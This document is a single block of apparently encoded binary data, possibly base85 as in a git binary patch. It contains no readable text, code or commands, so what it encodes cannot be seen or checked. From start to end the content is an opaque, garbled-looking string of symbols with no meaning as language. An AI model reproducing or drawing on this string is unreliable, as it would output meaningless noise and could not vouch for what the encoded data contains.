z$eodEigoOgqam#M6`@=wmEv9H#*$K#8T{|*^8~#%J%b61Z)O3#CemkmQXm05x4HZO z{g=4$hCcTz`*LFF^tR5FP(c1{S1R(^@?BMD_g=R6X%7&gs=@EE%f*}l+y9IC9HQS> zw@{e8zpQYtm|la$;T>C(gr5+J3Q&8BnV+1X(pM5MjSXUjFL-L9Lfw}}8$tpvDrG?9 zDM4+Hx|20%h>}fl4r&5BM#sJ|r$^|fS(%dm)1e}#~tKl-TZbeSb)VDzpUWph6{Mjxu0F*}9Ne$e^#_0QUB~mN)!XHiJ?>AJf`#XsW`&B1Lf>bItl(pz;OJ+9C-r zS0_ZWeQ@~ON*;8PJVslhY$rEZ*VIcRIwA`gn*&``-_&-XCPj+6$htX>xmahYu@NlN z5BaXAktI20`(6=jnaJeN@75YfRJgz=!Bn^OtOPtlCS$H-o3x2@YCe0(=O%rrVe4y& znA<^1tpCU)PC;F6?bLgCxpF@j4Y_pR{En133uP%Y!&mc1?lLh`_tb&tjXYzDVikhh zwNyQit>*z78`WlAR;~w-8u2u@T(IjKPh8dLL|KHJowh~eecOxpFO8iXqAj5h1zc&m zx_!9XJ?Pc5oVzds^XRW~T16YoyH_W(%wLusBoZz;uruuO`Bw9;qKnEogtII~(N?=F z%@o)O8Y_s4Am%{nc)Hg=cyW`l5bR`;T5LXTh}d3giq>(;R)vhZi?K+ox55 zs=f{vXFlJf#I=3k<2Uu94P!CNJYK~oAIvkhr{KexOj^8E&wG*&t4BVZ6^_5K_q?xh zG=3#hidV$W6@3^8SOpwJ>@}LRSA`VwSr<*!5xwT$)KS5+(9_I16N=3}+lYwJvZ&Tg z;=g_V=5(zX9ie#n1yAoTw)v@fh&Gh^aU0lwzzi~kCL+^dT}&Xt1@aS*Uu@!}00GX} z<=@JI_zRO8PlX>uRyb(ru_#_A=LIzP8~lI)GNz+;oTfEMCgQ61@eD~F?%MTEe{IME z5FmWDVr`+!Y4z2TD@s`rR?p^G{VaI_AnvzoEM&6Tef8o$4gN2r10()DTL{<|+$>kp z*@y?(gqicrj3k2uXI4qsXfsXU3ZWE)0!d-9nyVtnx1M|?ULF~LfQR=YwI}-j0B?t} zfnGE|WPlpm#TO(=3%}`6RtC0_MH&IF@A(h;1ohiU^%oIF5jsW^sykN(SZ{qAAxrvyD%5u_g#}PHS-CcXa(-x>0V>H)m>DP~Zl-E@EhSFs&y*YIJr3?l+u}D6+ z1UbKi@MZ;T=B=BsM`K%7SdQWcq-#rUSCdeICfqt4WV+-@NSQ3Kpp%+Mx$ejnDH@zm zU)9e`*to*=1CjTaWSHA6@sqQm3#eXOnX0OX4j3c6CB4{s{=hnLDcQr%NWrtDSAjd3(#@bv5am^L{pnIs$06)VR?2^tlcs*qLnMmg^R!74_W<6SPeg5w0Qb<_wl?rlUq1HIc}F2#{#Y^vzLHv8ZbY*aMbL1H2_cdrUazx(Fcq zZ*aU2k0{V)v)oZqv8pi12lmTP6Dh?^8!A<<0&B z=MFhF0$?}d)0=T*zPnT&Fe<;;7*wv?^{40Z{fnG%_}1A^)n|D{URMFqy-fs8dB2qN-uf|w*t=M%aE zpu2o>uQ>MbF9H|ioA>j#)Ae^x*u2yUX4^2MIS%m%R%tT8g&Z^75b#ab8?*}kq$Nm% zR_e$7?X!visB|tLIjq7=+M4h=OR_2AE8S>x(T&d#8)jx)4F1djSZiV*>QN~7jB2oO z^&?FT#pR=IaNzPX>E**J8S%0E%b;Z;i3BG30wYTSRmCTll9KK!;G2 z4i}N!<=4OO8gO&O%?sXw?;bLn{p+K|LWuoA$dqlr;wc6Vvzv(h!VOzUih}mnUul)s zY&kH6lsU|jR;nb!uuSx{FMM!ew=;(f!2L%M0l+&kT~|3FH7za;{le>M0%Lq%N!F!p zWOtJ+6u(YOgb5XZ17&WWL)J4g;4T19Rs!oE4Nb~+N}JkaKl9FGTtu%?nnNt91Y-2h z+{dtm#_a9YoQOt`MNi}Tkt4+tp?-c`*$@k~jV?-#MQ9%y-GVW?wiV13u#6JT|D-cD z)3wvJ>#Xagb!&@Yf?13jD7mtE3(EstbWoOpxISo}TuNy+i~I#Z|4V`nm-+I*I5zcF zq&+Xqjdsh; zIWUa%NQN=lMT8O!*%Q|w@%Ekm6a3mdjO=-{DnfWTsWG6BJP4m51Dz>2zZFFc5NWQI zAOgt!;Wgw}hiLT*e1-quss7bh*KgU*pbeSjbg41jxeAEou!IIBzPU@iQ&(edJH2x4 zaZI9gMCN~|@>A&#|DMoR#Td;Vw1WMPsSd|tB8}IPk%3bQ>^4!a#+8FjUgJ@gs6apIS-$R(t`}U6WdNS@ziux> z=Va;W{v_3hWpLKA}ONs__*$QpTi;2#>pweydq<3C^wVVKmGD z0?YgI#qSHU4t!j}TOb)<5B@u~(CFa3bhzttVY92k#sNo)t>qT5kMa@c2ox(u9ssQ<(acZQ|f%WK{B{%3ucPlPFT6X;+upPFMRAo`Dx z4a=7VS{ve4&O`G-03O2t!r28=itk4ui{8-@i%4}??3=`7B2pu$uZ8qegu^e!Q)!42N{=VmyEvCpK$w+hdkC!JAwB1XMNWlS#bOYWuNP-2eF@dfj z<163kS@sVCMlrs$daQ`snW%n43n(&!tn%rO;G1Jp$c@WC2hKSuQ}EuW{I)5BDI%{v zl9GU3EG9BQN`H1qNl8r&v-QRQNd1Tr0kc$cgN$v_Rr;O9SBZgFiYjJW9UV?`zZNjO zOkWZgt1oq1JtZFo_vnr;`Ap`wC3*zQn)Uo}$P9jx{yrQC7F?%%`WU%efBbza0B$fO zcQlB^zbNn^f-IC+BKCbF4Kp7BWEs92ICGNXwByF7F(p;%Zqbhujrt{ z)NtYA-h>K&_*UX!U%dBIDpY2a4BSursXCujfGs+g{h>%8%tkWi8}VRJh!Yt+@jB=` zknBPRyF^t_WFq|o-YDSVhTHT+sDT{T89hBpYEDk&=-Of)213`j5>4*|mX!W@`a~2}qgS>>8A}tEu z1%DQc4%JXxbA@|?OsZ}noH5h*=o}vnLZMh%T>0mNzcbVX?IV#+Da+ZC#m!j!*>G>2 zMork6wQj#yaPGGl!`YPI$@>A~x_-YSys^9~32g(4dy2 zfgvVk*kqhgTa%cX9-BFRV>OT)unf(nqe_G~$QmorPOCoyI(1_;kxk1(&a$0EegPHT z;cuA`v$8&r+^49yoll1Z3S&aE4LN@}-U1Rl@VpqYv#g&~7&pm94J!Pf_v1HITJUX> z(NX*6ihy@!Y1G1}| zZzf-WJiKlz?Y_@)U-qQbnKX4`cT|fXpB+ z-0I8=^FL?*D#o>CMT6rWmlNe`(@`7G6Z>GofQCOdBoV^k$O=P~AQm zM+04G+bvin)BSwxXmEJ=s6nIe$y^GE*9+7q7Zez5aJ$4Nn#Y*-a=x1s5{pnmTXjSJ z42R_8aok|8?hlb>Y}`{k*i%Q#QP`l>VXYAN4%cN|9#huTIt2km5Yn_1yb9-|!~W1_ zyRv6vJgm_}rff?-F$sv1a+-9prEMNMR8?ES@qrMC*FJE-1bBm67$e=xC;y(D%RwNfe-)=-srk z>d#diwcJ6gBw}a8KFW|`=Qq5CtLed2>DMLf8UQTp*QOj)64S-oQL8xY1b`0O7nDmzm|)Z6tHqBrFGAnX zM5gB;F+N%M!DAk6#jCQjtl*+=_VK;z*S1;6Q730s)KnGY^h+`L@+`jb;F9Pi))LFDXH1oICwMk-ZFI0~(}$j@PD; zi}?Eb1p+jLx-BDfFX<{1u3vtbbm}K!_^W3qqhBF~YSLo{f{><<(T?h~g9rE>`R-}07vWcwre7>h684_IDn|o)Joaf5`Rx5 zB9LSk{v)#){FpXPK)2vg4 zT1%97=K*JT#>K=$D)YzR196lJ@c>jKRl|lXX8&x7iYb~7^pb^zRrG9G1Sh|P!Wk+3 z_gqPr+f&-sjw%3lUgM(2MfeZR`lgeY?O6wgoVFxOMOhhRL(56i%*BGa)Y_>)7f++t zh~B@yepn%N)7QZ);7xM!nbs4AD@g+ExpL-;B+iw+cX~WykQe+WdnrC46^+epsiiDRyCM$2z>wejwaeJ2|#o4nLITnU+0ps$X#1tqf*G|aAvBQe_Y|L z6NuLN6Wc`v3M`fHvHhh7Gus_LM~)sjtn=yBb?O_CSDNh?Ae-5h#{yC#_{Wj5;qLzc zh(LG0Ugx8GYh{zy%V*YTDwVwOy&?*k9qr9a%8?W_OG8Z|Wt{~B~C&4B(DJ7v%(blPf-DB)PpVkfauu7hgh5kaj!x!p4&J>Th4DQjdFnKeD8{K9IIj4vb+r2lSd!3=g40c~@q8 zkG~AsPOsA{>Jb2Ntyr-FbaIUbdPu_k0=?IB04yd$jkZzCTVR3e3`?wTKqIdlxkLMB z2!I)t5z}J!&uI5~m;E(=rVCa_07e`Ons6q3_Qh!M{b;(I?xwrxZo2;)?^ze3eqH}K zi_k;>K0E>FgCJl0cq%P1Q*You^MA`70DPI26L{7)3;`Mo|fh`lIN**PH|J5JfY;`4U;QbVox1U{(DW-&*7~ z`KZi>^i+khY^UJL#F$dg$9!z{R$dq{DS_lgO$rylHBgz*#~1f!ugdq~(WS3kJ}I!S`6WkNREw{*VTh6)x!H)c+ZjikdH^!S!1mEs{rr z_)qf8M}RHBYl#8X8T`67;4Jzr@EWHv$hH2;itpb$V#_hw{cy3url3OhD>#2D`Y&mnPK#iiK1p{=v_(M;(&wDp?$q659#1{Z$2&_+eDchh%+eQ|4K>Vkw%u`tdz#Aj zmWr5G>T)^v-lUu7yb*UPt_H!m$EP1EX(49$}&sX{751c zT+HC-lC>JVU2==}c-2u~Y!i;okh0==tv$L~9LP8`G>mFBmxs{H+0|BtS zK`H7rB+Ggbn4mNvB7^^-34l$8l2fyLx9&PSkohLb8WDi+Haz`$?XzzC!`tl$Yrpe- z+&e$A5S0`TDofaAPPkN~v!vO{~MS9GMGsa752 z>-!c20RJjWnZA#LNJ>S5>pdd&^=D^zI6qBfmgL1edR$m-lji-M1Y8FOI(Hr2y&Hm} z0aGS+tRkJNHQqC*@0fKC^>35b!K`-zqH^p9XmhI6E!Lo{-|d9 zMg9D-TdQB6{bQwzGfDXeD#o<|0Q|@|9)J7M~Endew90w0%5t2VvXt zgvxaLIa=8ZXCYz!S| zMUS3LPr+WnbiE82SAu%=irjuMdCMMhQsX+upKAmWaUH*L|Ng76tI1d!I0p z$o3s*u<6w7ecKA|+$Z1K_-x+pDp+z}*2p&Av-T7$>fzF16(p=hhh30KkYQwRc4;{m z5-Ce2apflB183si=|P)ekxlS&Wqle1rVvx6n5FXv9{o@g{^NtrDH~}z(#|&xZJ@WwJ%-)cm?Sj_%Vgx{=P$~iFuhajjf8iDQPCEb= z>)9RkoLyl7^{pnbpf{NDYd^3TpucWk0wlB%0Mlik+?xUEjv>$Q24{iWAvp6+P{!?` zOowOS&y3rF8Fzy-@t^+U?eOe5eD~RN=kPq&@LZ>mthY^}>2A9JV|P&I-DlY@5&8Eb za-E*NOV%)21#pv*T#2+nc}&2fSgMdtg=_Zc>0{M{5_ z4Z~*2ated9jdLhS>RrUcXFQN5))qmTZ(kNns*oJlh&-3DZ2Zr^{Cc)?SdJssbN*gc z9CA&imI>;w?=)Q>gaCB=wntl}S#(5@$?`S_fmszAtl2Ckb_OhjYsp!A&J|Y{k?h?{nT3Tjw}CRTHqT4_Q+|C*O@x@Pf)S}{2?-PZ$T=GZt z%zykScg0;0r}WIS`14TXg?D6--@yz#rONBm?juM}noY4AgP@uc|BznGWv?ax+2I|> zVe8Yp*mkWmGO;jTGUL+i!j%IYT8u4$iX$Q3ZI)v{czJbS2mvR4rRZAj#>ewk;2OOpcf7YzHa=}V7p%qfw!~@)yq&l7nN6`(5wVB znHZJQ^@2CP)pR%A|AJf3r_FT3d+WFQoJ5L#&~|_%j&bW(5nCGL6F5=4Fy`QB;i@ z1*rHnrG9PmidvU)KctpT$QA5~PLYB6Tkr$FVeD8kF>7+=-; z1}O*CvO$w+c=$BPGVp2ozgWW}P!0OoIkM!*BV@7W6ZB03`Etq6bxM=17EcRfQh4xjh#7%nQPN^Hl&lcZDqu!mxV@GW{0QEKMbO>77UK^fXYCEb3=pd z*){^u>n?)iX1`WR++x&QmwokyhCloGcNoOxplIGAm!4-82JB^{3FB3A=7RnykR6z6 z4ftCk#>R#Du2Dtn=Topn?UHqEAFqz8r_El@*tw9Li0k7d#E#evgZ51fJ`5$R^_b+h zABX&C)r~1m2omFKHE*?ItBkWggHOI@2Ou}5*KkfHe3dwV90d}J)S&M=5(`1PF`3hs za3J1~4Ek*<1jMG0h#5PpKp8?tJ)DcJ+t+x8%-F-lReb27(PL*9Tfw`jWNVkFt0Jwn zX28&W$+P&Gi%Z0yO-yENy&vV=51YQCl#9t~fGwqqJ`%F*v=FwN&06;jb*{tC_*Huc zP29>%N+_D&C*B|XA!&tM&&|ccdTKZ!Q`~0+V7~>0k68oH!IIp3^uuB(g!xJE%#&a; z7JKx4Fv-PYJ^Z-V2B-~H{ud($4oUT);vKtk*Q~H3p)af$Ach5v5**lL72nv)w+MfKn<|G_stQ${Pl#8NWD<#7SX7i>P*hMvAdtu;G8wR}g2F;9gh;?%Boc`Q z1PZwz!}-9HKQ0pu{P5*NJ_b$DV)+v`mrtdTU^F7hmJWCe%dzQhy8jh7=#9i861}Rl zz-fISZ0VrYj*tuz7#)QK0_fhL!xs@@G|!Yva9_9S zMrsj_N~IJP5efpS5$QA+;0YjrOFF!vIMk5pv$uOj_K?odo_20s>#zrC- zQ-!uM1>VB`#1kRER8sgBsi+7h0&Z)v1VVm(L2iCQy_8`bka7wZLZUD#IZ+e8K)zh; z%HT<;WH_8bq4Hl8iURW@66dZG|erX9;T&Y<2Y_ zS-iSHa}-5hSv_q}h)77fzP>$dv;oH=SrQhVj8|aMi`fQG2hKmR`GCwXRSuW~35E15 zD!qV60TW>!jh3BPM5IuxHC(S|uu06;Ojdyl3(55C&@*#Z+C@?%DL!+dFdvP$5YCsg zDMbXbt)=R}MS{Je&^E8q#DeF}BisEn@ph)FMh;{pynQ!LE-aEtWlaR&L+$`vXu}mvP0`iehccj22;cwu8P_CAO^qnY`Rw(u%J)tH>i3C$1E;rd z2e45diatkC0E^>Zbtj-`aqCuq0BmjWx&?ReBFLUTB-xi|6-<>FJFZ_wIu7W<{k|Ft z@SpJ79QR>c%DH94Nnd+I2#Qwk?B}!HuSSv?(WX^arqS|x{plBvx+>li@5*#$O`da5 z|0%^#c_-#s`@V#L5`&m4Ddu7@tvs{WCt=YxUo@DGl9K581VNluKEfA~rO|tRdM{)b z>kXBKSV(^A@Ky=Qcy38PNFP3m%EEU%>N1a0Eu=5}-eU_qVOMl+lGh?PjfRuh<;Qq` zVXaNF@{OJSFzu!W?&_^&$?!wI!xZ-mqPzc;90%dE@3$R^Kyrn9aL*BJhz8y7BOM`1 zSKNKvdK5I2Fg)`5vQ1%hh3x)(w?3PBIJdB5r;h6pe&`vWR1S(Mi$CPk11o}%D6PT@ zn|H&%V}G^)$HpcsdqU#yVWcP{2J7L!TKA3eC*oeL|j2n#Eiacf8@~Nvk#)^R=WjS)Lpw{hYz1}4X4(z2UhIOQ?B%XjsU#T z4jU)$sLGUcv~D^w(`a-Oi9`h;1$@NmB4btb_MspDFf-7E8X2LRKSMe_h-FLVG8ryo zjf_EsUrGjBW+jbkK8-?#7lnq|+E^T?AfL?fHCvPde#zA_2r}#%N2=k_0gE7!X)HDN znn}i{!dIHErt4pFk%>h_FcX_%FLrO)>!Ae9Gua7Q1=V7eM$V^_NHn%wD~Da3#uS;X zJ9=U|_9E!VOrdo-$RuNdj!v!C8j2tGLy%t=dsIk8Gzx_&utv}dnfP#_v#pB}lBslo#tK4|EGiiG;307T(v2<&SP&hKa8OQ-HQ^c&jYI`AdTpG; z{xjaOReT=In?mEstbP#GKsbC3ptG$(dKrsOdE*ENfR!rIDD&KxH$w(t8_jwsFf0?@ zX5FV{)2VRUVDR;}`ejhDtSD4ArhrU8`!mwx8b_j5>1EOT+956Hdb3R$He72UQRpIE z8l8lWy+oz6B)VFg%=G#*5O@X+TkJ6o`E}~bYS8JcjQ56je13L*WO%0EZO@1^wTV}Ij zRI?~#Do-X!xj7mz&#Nii8U+io(zm<-$B@aI2*8IT0HHoU4s$oVZaDsK1mMLbP4Ww^ z#CwI19rEDXIr~d);bh4R6`;Ti@6QMrcDf+h_ZA@8LCM9y7TTuL^D9)5MAWJ$`Bx zwAT}x1ga~KZy}OxelTlsYuGCG+IjROXJ~WI>$=N45!d8KYRb~gnvCm;fG-ne(ROw&V=%o#pWKh69{e9hSiwFd4b2!og&;^ z0x*jLm#p*d3R{%dQbTKR*ada?g80$?)K3X+WMTZV#%CY2oD05DhHGvqrMrC3FR368!=>-vp4 z*VDl9F{@EClT8P}!bSjOs3>jAz)!jz!Dx>B+V{wBjzw}aH_h?z+GQ&@oqiC+<_U$o z3UW@ct6!@0Uo1LN*VsE`u~i4+GDqiqnmeJwOEuH7v$v| zRVtS=V*Q-_V%c0_1tr4u`k~G1x8C+lsgek2RGL60EzR<>+qr(tnr#>Tl1VhK&LX}u z>f>fZ?HC3WummcVlON%AI-Qmq?Q&$x^5vV3d4>{&QkkGE#qHue z@WJi9<*;uH`^F82oqg!lqH200q76~7NKl^P<+OXlnsuA^`y?_2 z+;T$Vt)3vKPGb&Uymjer456A=!6Jowxt`v)Y1P{8*FqU;UaI%y!xygKj(E=_*d7j_9VauNDZh=M2aysn|8~_r4VugwkapDW) zv!zE)UvYX`RLbRXnbgAPq1X4WT(M^NdC$BOo>)}PCdE9wb8_qYjVB)jl>qudXNp8s z*}g89>`rYO(CpLkw@O7yFkcJrPWz$vG9O3)hy-%AT2>n7aeB=kYtOicmdPXxI<1&q z@XXWc_^x%UHy(6~%&i7)?$Z_xH4Li<00F}Y7rZc#*isw&nUcP*6ZX2Y{e7ENkIMwFe8Q-z}R&P0~ zpcWBn0*Qzg?y+ah^6h8b^Q(k{Y6gYH$O-beeQf92HS15f#uGp{q4U5L?lP$vGU^&b zUc;e7+R#J*{s#$wRa5uRR_%F={{36q|uo2*Re-&Gd8U6jnZ9Ujec)S&Np zV)0)qo8hT{w=u=k_gIS3f@Kq8oJem~!#Z6}{c)?qE`>sYkKcDD04Oc&!M*5AuCO@H z-K_xf3(DC;_BlpeXYcauP{@(8@89%EHKH z$j3wW>|Z};*pC2^_*R)L74a?rw{O`vs%^`uw{uZcb!RU4srkrp{Sf4wHq@jr=7WdNie<23j?@X`CY+t2|+7CVVhmHXN@2r?7kvYa)bzi+HU(dZ+6 zL5v|&hkk^7w9q9B%mM7Dhr54fQor*6Ct&waFlV9^|@v$L>utMtAEo_HKa*6-OPI4?+0P0|xaS`TOkV&5*$hX}G zb^ftgi;->|fCwlj#{by-hn{2leTyJpZ1AYGC@>65hB}1gR}cUSN2=h&o&c%#nl|ZY z1nIoofnI~E*lFHpHm=&WeR|iQ`)+;+=I+#66F{8)Ge!a-$6kvAU$vt9tHA`+Y3yXE z_cQhmS0a%bP5H+Me$@GQAGTi3qE<_*0&ee_GGYGq?dyj1=rH?wDwrdQ_S3&Wns**B zsCS={JDoFx^)>;3j0`C%3i|ycq*>3gYme=p1j;aM!+p@c$?p5t9oW5gWRFf`*2ap# z+<)U^1o>ga*!InlA15CnT2LeT-l#8-FZ)ay(+W(73!f2WHK?iD?^v%NTW#@{Tf{Uv zS3pg0`hE1cO*?k19M-z~lDo`Wv?kSY#OKJTT}BM;-FedPXPgQKn1UJNT1DEnPnr++ zBnsrk3=)adL;(JWcL4qjT&Z{^tBm_J zLaj8Tjr_ISj;TT|XhS_2%Zs1h1&IH}<7zFI2CrCN@67SF0;7!u)`~RJKZD0F%lYRI zmRFaqp=Ifx7u@<6tNL*~ei*LBV);9a>kR_e<%GAmtVEbcP%EtJSFbJ9tGNo=xY}W- zmutml^PA~pV=mg@Bw&2R*85ZW?gxRP)P#$6c9$=lIDFm*S1MzMJD%; zYHX3r^oA-xW(n#16a@Kkw%vtu`xbOYknRskKx>GiZk*h+Wpy|3x$WbGqWTLXe;IZF zy3Beq5JBc;qUPW}A0g9k!Bnq|{!Po$3M!{{nn02oDZv_Sx`j*bp>HD#&yN%JrE2Rl6DY^J|O(QW1%d8d4{J z`|a8%P-E6^I2Z!g!F;Kq#$GvjaO*5Mq()t#U>o!W3xDo(5mN!GrjS`$6cxu${<*g& zHa+N!dWz#n5P9IL-8+{7bc!tS0Agk@`3jkUTVtse7E~U1V{VHdF%J`0`y$`Y3*hKg zY^WWM7m`FE^J_G*&hz2x&iD~CLL!j?{_nA1@U)Z9uvG*y!;F%S4*9(Ms(c(L@F;*d zK%=u0J-?ZJl~gTZF?mL*Pk-d=vrzET=^r6O9l@Nq0YO?`ho#J(-{ISt4yCA$K_rr? zGzOE&puK7bK&Vy~J=*k5^9gXb^2uaCFCIV-5u)c_7Z2{O`EA!@ zP_(08A{{Sl(JH%v$kz*?fnCv|)=mP>73y{-yPiI@ zcl|KHK7PKC1B!Y6BcvzPnj#!QkS@+_lzp`&^6@sfD44S5%a#-GWkK~wVZi17zqHx# zv`QslOC=?aOPYgOb=~egvswdbes}`DNYQ(K{kF?BOoLY^tD@q%WGtDO>Cy>l?U2Qh ziP)4T0`PAm0JFBZtUvY-5r7YI;po4%w)U;!|4*#se~>+a|5n*7f7vA9Kee0jHdiA8 zAeYM}5{WJ3U3LKQIx2g7{bm|AQ|J0#x*k+%8yh;&^N7=XPiH}zOul08iut(>it6iG*g6z$_8h>af0{jM4iI)QR!=4iEr(eF7k{ zh%ygMYCZH6rlF<0_1l*t5*5nuqeGD|$3J6N`fP563~>NJ=i1B;U1r?^Q9@RH_4$$< zRN~P2>+iNeZ@TE6ncx1p!WR+%t?Kc-FFu*`1lQaX`z%I~RvYf5(g?|Map};qkVdCA zA9Aw)=xvoy%xBRUa#Zkm;n#owHkrg%8mrQ`bp2$s1I56n78FrrIz`gmW#4@{HW$!=hcmzE zxWb2`QWsN*FIYCzb&_e++`Qm(YbLh(y3MKwSyf!Av6j8N=Xbp}yXZkqbQ0Z&Qm;+_ zrT>!0be)6_?PbXns!%C=JomGYr#XP(Y*Hxh6zoXf;69p zo#_}fzRmaZohmQ_Kq3~GSMzwhO6n^JfJ#O3-2NTX8>$(^to^3djAxZ7|LGzG`Solj zzu?+%r1fSdU|-j!e${eeF^ZPo=!5jXu2B?h9f)*22IpbI*)E@qyiVuKR2H=0SpVid zHy2^%0*3tCJ-JtQ+Qi07EtGJowDW4Nn1>&_bspm$Z3V6(9qcoRkF-jF8FOSqjez$ zy}3qTYpTVIiT!G7D2(N8E6ZZC=F+(HScQ47-Lv+MyB76x1j7d_SA7D2`}_fyLZJZ9 zYPIU!34r^>(+@Kx0K=!ap1k_33S_KN$Z9p5EFT9aKTKs*K|Futd@59hBDr0%_a^^m z2tdhLwa1wk#x(}6!T(n+DIbK?DovmbVW7Uy5YSpv7-14KELzmeWHqz_5T>r}j3A?+ zb5*wg9|-bGq(ppwJ-{JbL9vsze}Z%XxL<#;H}dI_t02z(u?W)Z0X#EfXfx#3Wzo6O zn_DBFE%Mdsq#~s<6~LWO$6fP_i%YGnl}Aqgu6eKRZe`Ny!o26{94?dEWCPH2{fh{I z3f21V9f^F@&sT*CNhFq5n}2Twf_!u+fgAoig8X0y2CDP?7RV2)!9(J55OPtAqLI6L zB1ng`{z>sZ-hR&#iNad6*r7Gj@>D=MYGxA&4AhjnxJ~npYi^Np9}Ys0E_=X?5z_-f zhMgdymed7pknTGGPBe(w@$)`Ke%o^+HaaXeF`J>(hzO5IB1qq3K5>2#=`6W02SCHG zc04MOR+Cb53INkUnSQfALfT#@qiQCBNL8B^fmgwR>;_P{%&9AaOngkzX-i%Z05X}% zWROzh!@a_?DvDD!wm^`k<=}T8-*`+9AkvXFvdQrhJLCJtRU=*B`;p$HK@FhuVGq!%F8ei<-q2 zNwb`RNbOEVNwhp_Jyjq`0K^(qt{Z^+E#P4;UK0_dpL-cv`d|!#^o*!Q<*tJO;h}(O z=UjIL83T9_^U#;bC!4@T6mtkj(%mV8aC-uXdzCGeNi^ni&jlc(eb+)#;}}LG^}vYl zz8rWkPbgs&q{clj*8zOK;#=gm#er3zwn#+MO9ViHmb>;vkb(E3!9MaN@lX0L!1kOOsB@7b=bKwJC8=;o#xu@k(+yR`l;WLA)|ys!K?cdzU8S))i`@?W#8Zjh?}XHE;OBLF!14+sbd34y24X*3$ST>c(ZfU2opx9v}zv~vm~UR27N#D~3$m6KzI~W$_n>^qAqt z(AHKb?Ht+yvkCfU)E-c={OhYGOyBZYhgyPm5AMCfM_@*^bl)wbTfrzTdhd8dknrd< zI#*O0v#I~b2=dAFV^N@CxT(&wJAVS>d_Vefe3_Wp_jmIj$Q!U<2sWQM+QwYt8Ja{o{Kr zeM(je7ywU;q}<-HmirEw!?1m1C*usi9uPr~oB);!5a>b`9akc*oX>3&(0h>^-6+7&BhoSnZgjN*go4nMUa(`$Xbn%N+Q1PY7jp?pLYBv%gd8`=4ifC48X8jMi%S*iRWkSOEapC^=g85byej4DAQjP!-5u9 zh2A9}K2Cp-sC)%+`pd^oz1F;;UNUd6bHJ@&gTHU)qarG{+bza@z9!3 zSD}$tf#2wSmCk4~n!(_ykynFn6;~>ki>kmwr9h#Uf_aQgV+b`hW=n0YrPiq8TQz>E zG``wsHW@S$9$f9G^JF?Bn1PIXjhx%0{nK>)+eiTH@*;&?LZes_Glfc*s12aUf^Kb) z^FTnANUo6bV29_)v0e<`VMsMKM!5M}qmqC@L83C%wbhSDeS&;G#*PAgi-z<;kjeJY z$)-ufgT8Sn)GDz;Z!nq77SwFOMhD1|S}9SROlD(^LQqM?9OzKFQXL2|>g3fhC-A4n zXtEfMCY@XWV^C=Vxdy7U*U4WcQm7?xuz|D`A{v$QGKi#AiE9i-yuIS^M*wrgPas{QDwtDIyjsSU^wfTNU*wjR02-Gzu3v3p(7?uP!nL;Xf zy=x*e6{|El^mI(+OBGU(4u#5>Ym7#0?lY=+U}B^4z^qt_Nh4Rtxwz=^8WWJl0t6P@ z>YN6IHP;$+3Rnb8HWQp2O$L>q5}#;ouVZY8##fd_{L%BP&Z|7ch8pOd_3hV2nh3yu z0|Br$jy~hgzPWRD7h*_(9d-Z49oHZ~w@VjX$s(IH@B1789Q~go2R zDX+TIP_+EFUy-@9nzY}fLXOc~sJ z(6bkh3R%C4xNA%L%^=PDv!tj#()Rop%R$|8h9g&cxxEF8sCwx8LvI$>N+ud|8^}*e zH%|*$wuQKVSL*o(3eEeHSHhUx;^`iY9oF1?_}Pd`DJo03P1-odwfSehGq%y4qI9T6 z^!Ori?I0)Q+h+AoROeWCD zFJ8O|b#p%?0eDTZ@L-diUs6~m!=t?6Bw(oj2fq9t!Yae^rXQeJ&;|tHb-)OGsHrq~ zQU5d!Zq0@*Hxh~P+#ag!J=}jc4Ns>D|C7m}g5dSecF^Siv5gdXX2kn94kwdIf1{f4 zE=zyWt?^dFX2~%^?na9Y%)3 z74Mw@)cNtWvvbAJzbA(N@6^^fn04U3TmLp`@0#_Fpu8U; z$il@9PXe|XkCtyA8@xN*mb`|0;}8Gg^9v8}h@CwnD;9czuROIgKLmPf7hYMB;thZ> zuW;4u=hy+e6?^8S`&Bnun8*I*aosOujP3ro%jg{Y$5NO~mM`)vwc)a=wkRrd*|d-u zt63RVO>0@~<%D^YeLMg3WR0&5MWy#w#b3pp`4(pWzKMrzCx|1@MNgj?zUp`t2FiK9 z)9-Y=rl5!AoSyY~bOZ?DI~{p`556UHU6TM+8_}vg3sbzHQv=@V`3bHZi%m}6#lcV3 zCD`@{8X-Y)*q1*Q72CqForRjJq@4Bhf+sJbCzRs-K$+^8{QHc6E-gLh-Uf(O6|^bh z=yR;08To71SCHYOJn?q?yvd=9c9mlWo5g#^L^$A1nWDl6{!wM69;JD|@3fvYYYoYb zU2wdPcQBUCBH`yQd(XVr^E|fH%ungnB`wz4AvHdBnGPX%{2D@V-l^+~2Ca>2vY+vp zjB}(U|DU@uFqakT{K(9e(?e#gVP#ket0>$qZuSJ z+XUj@-|Ew)bMUIGA}nPM!7F}j|EInBg>Ji#pNnHQP)bg&4jD1PXXsp-Rli1BabtVv z_(_Q;gJ2x4Tg39cxE-z}`ewvT=$gY&qXq;3pZo6IxzoIP^Eq?o;G4(?4<5vu?VSjK z#b%;Y&(o1Dpi#(c&3Il%0CYP2ht(jnyz0D-+Sd^P0C2FAfvMKV7mo7&9A)4Dg$~y^ zsdSD|E|-cq*l|SU*I*Tp0imdf052lx|C2fpek_q#uGGlIYzB?;_sb3yg&{ztz6-#{ z5E%Ji0q#K$VzN0L7K2K8uL6O7$zc3FB#3ouIs>kiQyHu`bnAKtOMyn=DQYwlY&n@O z)9NI=hC1DtS`DjMs#MB_Z03u?zBI@h54)HC#tsCtk!%vNs0bTTZzh(n9?XA*M!YT# z=+F$cZ9zW4He6gK|ZY)~~=^I;m8biPKTV$)!){k;W}CIaw52>?6^c<$DB zApkb5kG4fog6VVB?`W2=bQ{x1@huzbyd$o16jA1O#BgqJ{*Z7C&(|BVpz=YLZP=za~9(@ywjd7cy6FEx2+d zY!Xzxpib@{aS0xyRWk2$&wWrUTH(DdX!>@F^YMroTY0L+rNSR;%Advb?H4j>Q2c!> zi00p1;`v*j4Q`UB$Uv@?E#SA$Oq^;CDK!Jug7%FyFc3$7N9X_4l1BkGS}h;r8t3EB)j z8*(>%cW*@sL~LnCgU7EUyIhN$zNUip0??~zH~jnWR=liSgwK6JTc5V>8h0*CW^KjP z_+g{-yhxIyvz|ZppkXc|i>LhLbL5$>JWoi0r<=h*&8SVW3!1PFQli?ZuzuqUBB_$#O>WT?O z5tRnDLaBqhx5}g=9zRVh)oEDkJKq}%J;o>#x4E~T!2+MsH68EIf_2WnHTUt5T^hZb zH2lW^thY$6&VSfx4vVKWDYzJGu#_I0_iXho2{ki&)Hhy7xF{N#a?FwO(1mc|95d20 